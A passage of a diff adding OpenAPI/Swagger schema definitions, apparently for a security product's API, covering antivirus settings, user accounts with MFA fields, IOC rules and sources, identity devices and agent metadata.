+          - threat_created
+          - threat_force_created
+          - threat_reopened_by_aggregation
+          - threat_reopened_by_status
+        title: Action
+        type: string
+      comment:
+        minLength: 1
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      from_level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: From level
+        type: string
+        x-nullable: true
+      from_status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+          - new
+        readOnly: true
+        title: From status
+        type: string
+        x-nullable: true
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      to_level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: To level
+        type: string
+        x-nullable: true
+      to_status:
+        enum:
+          - closed
+          - false_positive
+          - investigating
+          - new
+        readOnly: true
+        title: To status
+        type: string
+        x-nullable: true
+      username:
+        minLength: 1
+        readOnly: true
+        title: Username
+        type: string
+    required:
+      - action
+      - timestamp
+    type: object
+  HistoryRecordList:
+    properties:
+      count:
+        title: Count
+        type: integer
+      results:
+        items:
+          $ref: '#/definitions/HistoryRecord'
+        type: array
+    required:
+      - count
+      - results
+    type: object
+  HlAntivirus:
+    properties:
+      detection_mode:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Detection mode
+        type: integer
+      enable_pua_detection:
+        title: Enable pua detection
+        type: boolean
+        x-nullable: true
+      enable_sigqa:
+        title: Enable sigqa
+        type: boolean
+        x-nullable: true
+      enable_usb_scan:
+        title: Enable usb scan
+        type: boolean
+        x-nullable: true
+      endpoint_user_can_run_scans:
+        title: Endpoint user can run scans
+        type: boolean
+        x-nullable: true
+      full_scan_schedule:
+        $ref: '#/definitions/Schedule'
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      max_filesize:
+        maximum: 9223372036854775807
+        minimum: -9223372036854775808
+        title: Max filesize
+        type: integer
+        x-nullable: true
+      maximum_usb_size:
+        minimum: 1
+        title: Maximum usb size
+        type: integer
+        x-nullable: true
+      path_exclusions:
+        items:
+          $ref: '#/definitions/PathExclusion'
+        type: array
+      quick_scan_schedule:
+        $ref: '#/definitions/Schedule'
+      replace_windows_defender:
+        title: Replace windows defender
+        type: boolean
+        x-nullable: true
+      scan_file_download:
+        title: Scan file download
+        type: boolean
+        x-nullable: true
+      scan_file_written_executable:
+        title: Scan file written executable
+        type: boolean
+        x-nullable: true
+      scan_libraries:
+        title: Scan libraries
+        type: boolean
+        x-nullable: true
+      skip_microsoft_signatures:
+        title: Skip microsoft signatures
+        type: boolean
+        x-nullable: true
+      skip_other_signatures:
+        title: Skip other signatures
+        type: boolean
+        x-nullable: true
+    type: object
+    x-nullable: true
+  HlSimpleUserSerializer:
+    properties:
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      username:
+        description: Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.
+        maxLength: 150
+        minLength: 1
+        pattern: ^[\w.@+-]+$
+        title: Username
+        type: string
+    required:
+      - username
+    type: object
+  HlUserSerializer:
+    properties:
+      active_password_reset_link:
+        $ref: '#/definitions/ActivePasswordResetLink'
+      api_token:
+        readOnly: true
+        title: Api token
+        type: string
+      app_settings:
+        title: App settings
+        type: object
+      created_by_sso:
+        readOnly: true
+        title: Created by sso
+        type: string
+      date_joined:
+        format: date-time
+        title: Date joined
+        type: string
+      enable_mfa:
+        default: false
+        title: Enable mfa
+        type: boolean
+      groups:
+        items:
+          type: integer
+        type: array
+        uniqueItems: true
+      id:
+        readOnly: true
+        title: Id
+        type: integer
+      initial_mfa_state:
+        readOnly: true
+        title: Initial mfa state
+        type: string
+      is_active:
+        default: true
+        title: Is active
+        type: boolean
+      is_harfanglab_tech:
+        readOnly: true
+        title: Is harfanglab tech
+        type: boolean
+      last_login:
+        format: date-time
+        title: Last login
+        type: string
+        x-nullable: true
+      mfa_enabled_globally:
+        readOnly: true
+        title: Mfa enabled globally
+        type: boolean
+      mfa_enabled_individually:
+        readOnly: true
+        title: Mfa enabled individually
+        type: boolean
+      mfa_is_enabled:
+        readOnly: true
+        title: Mfa is enabled
+        type: string
+      mfa_needs_activation:
+        readOnly: true
+        title: Mfa needs activation
+        type: boolean
+      password:
+        minLength: 1
+        title: Password
+        type: string
+      permissions:
+        items:
+          $ref: '#/definitions/Permission'
+        readOnly: true
+        type: array
+      roleId:
+        format: uuid
+        title: Roleid
+        type: string
+      role_count:
+        readOnly: true
+        title: Role count
+        type: integer
+      role_origin:
+        $ref: '#/definitions/OriginStack'
+      roles:
+        items:
+          $ref: '#/definitions/BasicRole'
+        readOnly: true
+        type: array
+      set_harfanglab_tech:
+        default: false
+        title: Set harfanglab tech
+        type: boolean
+      tfa_is_activate:
+        readOnly: true
+        title: Tfa is activate
+        type: boolean
+      username:
+        description: Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.
+        maxLength: 150
+        minLength: 1
+        pattern: ^[\w.@+-]+$
+        title: Username
+        type: string
+    required:
+      - username
+    type: object
+  HlaiBinariesBenchmarkData:
+    properties:
+      condor_model_type:
+        minLength: 1
+        title: Condor model type
+        type: string
+      condor_prediction:
+        title: Condor prediction
+        type: number
+      condor_version:
+        minLength: 1
+        title: Condor version
+        type: string
+      hibou_error:
+        minLength: 1
+        title: Hibou error
+        type: string
+      hibou_prediction:
+        title: Hibou prediction
+        type: number
+      hibou_version:
+        minLength: 1
+        title: Hibou version
+        type: string
+    required:
+      - condor_model_type
+      - condor_prediction
+      - condor_version
+      - hibou_error
+      - hibou_prediction
+      - hibou_version
+    type: object
+  HlaiCharacteristic:
+    properties:
+      data:
+        minLength: 1
+        title: Data
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      identifier:
+        minLength: 1
+        title: Identifier
+        type: string
+      label:
+        minLength: 1
+        title: Label
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      value:
+        title: Value
+        type: number
+    required:
+      - data
+      - description
+      - identifier
+      - label
+      - type
+      - value
+    type: object
+  HlaiScan:
+    properties:
+      characteristics:
+        items:
+          $ref: '#/definitions/HlaiCharacteristic'
+        type: array
+      score:
+        title: Score
+        type: number
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - characteristics
+      - score
+      - version
+    type: object
+  HlaiScriptsBenchmarkData:
+    properties:
+      chocard_version:
+        minLength: 1
+        title: Chocard version
+        type: string
+    required:
+      - chocard_version
+    type: object
+  HostPropertiesOSSupport:
+    properties:
+      host_properties_type:
+        minLength: 1
+        title: Host properties type
+        type: string
+      supported_os:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - host_properties_type
+      - supported_os
+    type: object
+  IOC:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      found_file:
+        minLength: 1
+        title: Found file
+        type: string
+      found_registry_key:
+        minLength: 1
+        title: Found registry key
+        type: string
+      found_registry_path:
+        minLength: 1
+        title: Found registry path
+        type: string
+      found_registry_value:
+        minLength: 1
+        title: Found registry value
+        type: string
+      hit_type:
+        minLength: 1
+        title: Hit type
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      search_value:
+        minLength: 1
+        title: Search value
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - found_file
+      - found_registry_key
+      - found_registry_path
+      - found_registry_value
+      - hit_type
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - search_value
+      - tenant
+    type: object
+  IOCConfig:
+    properties:
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+      skip_signed_microsoft:
+        default: true
+        title: Skip signed microsoft
+        type: boolean
+      skip_signed_third_party:
+        default: true
+        title: Skip signed third party
+        type: boolean
+    type: object
+  IOCImportResponse:
+    properties:
+      messages:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      success:
+        title: Success
+        type: boolean
+    required:
+      - messages
+      - success
+    type: object
+  IOCRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      category:
+        title: Category
+        type: string
+        x-nullable: true
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      hl_local_testing_status:
+        description: deprecated
+        title: Hl local testing status
+        type: string
+        x-nullable: true
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      info:
+        title: Info
+        type: string
+        x-nullable: true
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level override
+        type: string
+        x-nullable: true
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      test_maturity_current_count:
+        readOnly: true
+        title: Test maturity current count
+        type: integer
+      test_maturity_delay:
+        readOnly: true
+        title: Test maturity delay
+        type: integer
+      test_maturity_threshold:
+        readOnly: true
+        title: Test maturity threshold
+        type: integer
+      type:
+        enum:
+          - domain_name
+          - filename
+          - filepath
+          - hash
+          - ip_both
+          - ip_dst
+          - ip_src
+          - url
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - source_id
+      - type
+      - value
+    type: object
+  IOCRulesetRule:
+    properties:
+      alert_count:
+        readOnly: true
+        title: Alert count
+        type: integer
+      block_on_agent:
+        readOnly: true
+        title: Block on agent
+        type: boolean
+      category:
+        readOnly: true
+        title: Category
+        type: string
+        x-nullable: true
+      comment:
+        readOnly: true
+        title: Comment
+        type: string
+        x-nullable: true
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        readOnly: true
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        readOnly: true
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Global state
+        type: string
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        readOnly: true
+        title: Hl status
+        type: string
+      hl_testing_start_time:
+        format: date-time
+        readOnly: true
+        title: Hl testing start time
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      info:
+        readOnly: true
+        title: Info
+        type: string
+        x-nullable: true
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        readOnly: true
+        title: Quarantine on agent
+        type: boolean
+      references:
+        items:
+          minLength: 1
+          title: References
+          type: string
+        readOnly: true
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      rule_confidence_override:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule confidence override
+        type: string
+        x-nullable: true
+      rule_effective_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        readOnly: true
+        title: Rule effective confidence
+        type: string
+      rule_effective_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule effective level
+        type: string
+      rule_level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level
+        type: string
+        x-nullable: true
+      rule_level_overridden:
+        readOnly: true
+        title: Rule level overridden
+        type: boolean
+      rule_level_override:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        readOnly: true
+        title: Rule level override
+        type: string
+        x-nullable: true
+      ruleset_rule:
+        $ref: '#/definitions/RulesetRuleSerializer'
+      ruleset_rule_default:
+        readOnly: true
+        title: Ruleset rule default
+        type: boolean
+      source:
+        readOnly: true
+        title: Source
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+      state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        readOnly: true
+        title: State
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+      type:
+        enum:
+          - domain_name
+          - filename
+          - filepath
+          - hash
+          - ip_both
+          - ip_dst
+          - ip_src
+          - url
+        readOnly: true
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        readOnly: true
+        title: Value
+        type: string
+    type: object
+  IOCRulesetSource:
+    properties:
+      alert_rule_count:
+        default: 0
+        readOnly: true
+        title: Alert rule count
+        type: integer
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      block_rule_count:
+        default: 0
+        readOnly: true
+        title: Block rule count
+        type: integer
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      default_rule_count:
+        minimum: 0
+        readOnly: true
+        title: Default rule count
+        type: integer
+      description:
+        title: Description
+        type: string
+      disabled_rule_count:
+        default: 0
+        readOnly: true
+        title: Disabled rule count
+        type: integer
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      ioc_count:
+        default: 0
+        readOnly: true
+        title: Ioc count
+        type: integer
+      ioc_experimental_count:
+        default: 0
+        readOnly: true
+        title: Ioc experimental count
+        type: integer
+      ioc_stable_count:
+        default: 0
+        readOnly: true
+        title: Ioc stable count
+        type: integer
+      ioc_testing_count:
+        default: 0
+        readOnly: true
+        title: Ioc testing count
+        type: integer
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      new_rule_state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - quarantine
+        title: New rule state
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      quarantine_rule_count:
+        default: 0
+        readOnly: true
+        title: Quarantine rule count
+        type: integer
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      ruleset_source:
+        $ref: '#/definitions/RulesetSourceSerializer'
+      ruleset_source_rule_default:
+        $ref: '#/definitions/RulesetSourceRuleDefaultSerializer'
+      state:
+        default: default
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - default
+          - disabled
+          - force_inherit
+          - quarantine
+        title: State
+        type: string
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  IOCScan:
+    properties:
+      values:
+        items:
+          $ref: '#/definitions/IOCScanItem'
+        type: array
+    required:
+      - values
+    type: object
+  IOCScanItem:
+    properties:
+      global:
+        title: Global
+        type: boolean
+      size:
+        title: Size
+        type: integer
+        x-nullable: true
+      type:
+        enum:
+          - fileDateCreate
+          - fileDateModify
+          - filename
+          - filepath
+          - hash
+          - path
+          - peCompileDate
+          - regex
+          - registry
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - global
+      - type
+      - value
+    type: object
+  IOCSource:
+    properties:
+      block_on_agent:
+        title: Block on agent
+        type: boolean
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+      effective_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        readOnly: true
+        title: Effective state
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      endpoint_detection:
+        title: Endpoint detection
+        type: boolean
+      global_state:
+        enum:
+          - alert
+          - backend_alert
+          - block
+          - disabled
+          - quarantine
+        title: Global state
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      ioc_count:
+        default: 0
+        readOnly: true
+        title: Ioc count
+        type: integer
+      ioc_experimental_count:
+        default: 0
+        readOnly: true
+        title: Ioc experimental count
+        type: integer
+      ioc_stable_count:
+        default: 0
+        readOnly: true
+        title: Ioc stable count
+        type: integer
+      ioc_testing_count:
+        default: 0
+        readOnly: true
+        title: Ioc testing count
+        type: integer
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        minLength: 1
+        readOnly: true
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      quarantine_on_agent:
+        title: Quarantine on agent
+        type: boolean
+      rule_confidence_default:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence default
+        type: string
+      rule_count:
+        default: 0
+        readOnly: true
+        title: Rule count
+        type: integer
+      rule_disabled_count:
+        default: 0
+        readOnly: true
+        title: Rule disabled count
+        type: integer
+      rule_enabled_count:
+        default: 0
+        readOnly: true
+        title: Rule enabled count
+        type: integer
+      rule_experimental_count:
+        default: 0
+        readOnly: true
+        title: Rule experimental count
+        type: integer
+      rule_level_default:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Rule level default
+        type: string
+      rule_stable_count:
+        default: 0
+        readOnly: true
+        title: Rule stable count
+        type: integer
+      rule_testing_count:
+        default: 0
+        readOnly: true
+        title: Rule testing count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  IdComment:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+    required:
+      - id
+    type: object
+  IdentityActiveDirectoryDevice:
+    properties:
+      details:
+        $ref: '#/definitions/IdentityActiveDirectoryDeviceDetails'
+      hostname:
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      sid:
+        title: Sid
+        type: string
+        x-nullable: true
+    required:
+      - details
+    type: object
+  IdentityActiveDirectoryDeviceDetails:
+    properties:
+      dns_host_name:
+        title: Dns host name
+        type: string
+        x-nullable: true
+      primary_group_id:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Primary group id
+        type: integer
+        x-nullable: true
+      sam_account_name:
+        title: Sam account name
+        type: string
+        x-nullable: true
+      when_changed:
+        format: date-time
+        title: When changed
+        type: string
+      when_created:
+        format: date-time
+        title: When created
+        type: string
+    required:
+      - when_changed
+      - when_created
+    type: object
+  IdentityDevice:
+    properties:
+      active_directory_details:
+        $ref: '#/definitions/IdentityActiveDirectoryDeviceDetails'
+      entra_id_details:
+        $ref: '#/definitions/IdentityEntraIdDeviceDetails'
+      hostname:
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      sid:
+        title: Sid
+        type: string
+        x-nullable: true
+    required:
+      - active_directory_details
+      - entra_id_details
+    type: object
+  IdentityDomain:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+    type: object
+  IdentityEntraIdDevice:
+    properties:
+      details:
+        $ref: '#/definitions/IdentityEntraIdDeviceDetails'
+      hostname:
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      sid:
+        title: Sid
+        type: string
+        x-nullable: true
+    required:
+      - details
+    type: object
+  IdentityEntraIdDeviceDetails:
+    properties:
+      account_enabled:
+        title: Account enabled
+        type: boolean
+        x-nullable: true
+      device_id:
+        title: Device id
+        type: string
+        x-nullable: true
+      operating_system:
+        title: Operating system
+        type: string
+        x-nullable: true
+      trust_type:
+        title: Trust type
+        type: string
+        x-nullable: true
+    type: object
+  IdentityOrganizationalUnit:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      external_display_name:
+        title: External display name
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        title: Name
+        type: string
+        x-nullable: true
+    type: object
+  ImageFileExecutionOption:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - process_name
+      - tenant
+      - timestamp
+      - type
+      - username
+      - value
+      - wow64
+    type: object
+  Import:
+    properties:
+      dll:
+        minLength: 1
+        title: Dll
+        type: string
+      functions:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - dll
+      - functions
+    type: object
+  IndexedEventUser:
+    properties:
+      domain:
+        minLength: 1
+        title: Domain
+        type: string
+      identifier:
+        minLength: 1
+        title: Identifier
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - domain
+      - identifier
+      - name
+      - type
+    type: object
+  IndexedInnerAgent:
+    properties:
+      additional_info:
+        $ref: '#/definitions/IndexedInnerAgentAdditionalInfo'
+      agentid:
+        minLength: 1
+        title: Agentid
+        type: string
+      distroid:
+        minLength: 1
+        title: Distroid
+        type: string
+      dnsdomainname:
+        minLength: 1
+        title: Dnsdomainname
+        type: string
+      domain:
+        minLength: 1
+        title: Domain
+        type: string
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      ipaddress:
+        minLength: 1
+        title: Ipaddress
+        type: string
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+      producttype:
+        minLength: 1
+        title: Producttype
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - additional_info
+      - agentid
+      - distroid
+      - dnsdomainname
+      - domain
+      - domainname
+      - hostname
+      - ipaddress
+      - osproducttype
+      - ostype
+      - osversion
+      - producttype
+      - version
+    type: object
+  IndexedInnerAgentAdditionalInfo:
+    properties:
+      additional_info1:
+        minLength: 1
+        title: Additional info1
+        type: string
+      additional_info2:
+        minLength: 1
+        title: Additional info2
+        type: string
+      additional_info3:
+        minLength: 1
+        title: Additional info3
+        type: string
+      additional_info4:
+        minLength: 1
+        title: Additional info4
+        type: string
+    required:
+      - additional_info1
+      - additional_info2
+      - additional_info3
+      - additional_info4
+    type: object
+  IndexedInnerAgentDynamicFields:
+    properties:
+      additional_info:
+        $ref: '#/definitions/AgentAdditionalInfoValues'
+      antivirus_is_up_to_date:
+        readOnly: true
+        title: Antivirus is up to date
+        type: boolean
+      antivirus_last_update_date:
+        format: date-time
+        readOnly: true
+        title: Antivirus last update date
+        type: string
+        x-nullable: true
+      antivirus_name:
+        minLength: 1
+        readOnly: true
+        title: Antivirus name
+        type: string
+        x-nullable: true
+      antivirus_policy_revision:
+        readOnly: true
+        title: Antivirus policy revision
+        type: integer
+        x-nullable: true
+      antivirus_rules_last_update_date:
+        format: date-time
+        readOnly: true
+        title: Antivirus rules last update date
+        type: string
+        x-nullable: true
+      antivirus_rules_version:
+        minLength: 1
+        readOnly: true
+        title: Antivirus rules version
+        type: string
+        x-nullable: true
+      antivirus_version:
+        minLength: 1
+        readOnly: true
+        title: Antivirus version
+        type: string
+        x-nullable: true
+      application_count:
+        readOnly: true
+        title: Application count
+        type: integer
+      avg_av_cpu:
+        readOnly: true
+        title: Avg av cpu
+        type: number
+        x-nullable: true
+      avg_av_memory:
+        readOnly: true
+        title: Avg av memory
+        type: number
+        x-nullable: true
+      avg_cpu:
+        readOnly: true
+        title: Avg cpu
+        type: number
+        x-nullable: true
+      avg_memory:
+        readOnly: true
+        title: Avg memory
+        type: number
+        x-nullable: true
+      avg_system_cpu:
+        readOnly: true
+        title: Avg system cpu
+        type: number
+        x-nullable: true
+      avg_system_memory:
+        readOnly: true
+        title: Avg system memory
+        type: number
+        x-nullable: true
+      bitness:
+        minLength: 1
+        readOnly: true
+        title: Bitness
+        type: string
+        x-nullable: true
+      boot_loop_protection_boot_count:
+        readOnly: true
+        title: Boot loop protection boot count
+        type: integer
+        x-nullable: true
+      boot_loop_protection_end_date:
+        format: date-time
+        readOnly: true
+        title: Boot loop protection end date
+        type: string
+        x-nullable: true
+      cpu_count:
+        readOnly: true
+        title: Cpu count
+        type: integer
+        x-nullable: true
+      cpu_frequency:
+        readOnly: true
+        title: Cpu frequency
+        type: integer
+        x-nullable: true
+      description:
+        minLength: 1
+        title: Description
+        type: string
+        x-nullable: true
+      disk_count:
+        readOnly: true
+        title: Disk count
+        type: integer
+      distro_version_id:
+        minLength: 1
+        readOnly: true
+        title: Distro version id
+        type: string
+        x-nullable: true
+      distroid:
+        minLength: 1
+        readOnly: true
+        title: Distroid
+        type: string
+        x-nullable: true
+      dnsdomainname:
+        minLength: 1
+        readOnly: true
+        title: Dnsdomainname
+        type: string
+        x-nullable: true
+      domain:
+        minLength: 1
+        readOnly: true
+        title: Domain
+        type: string
+        x-nullable: true
+      domainname:
+        minLength: 1
+        readOnly: true
+        title: Domainname
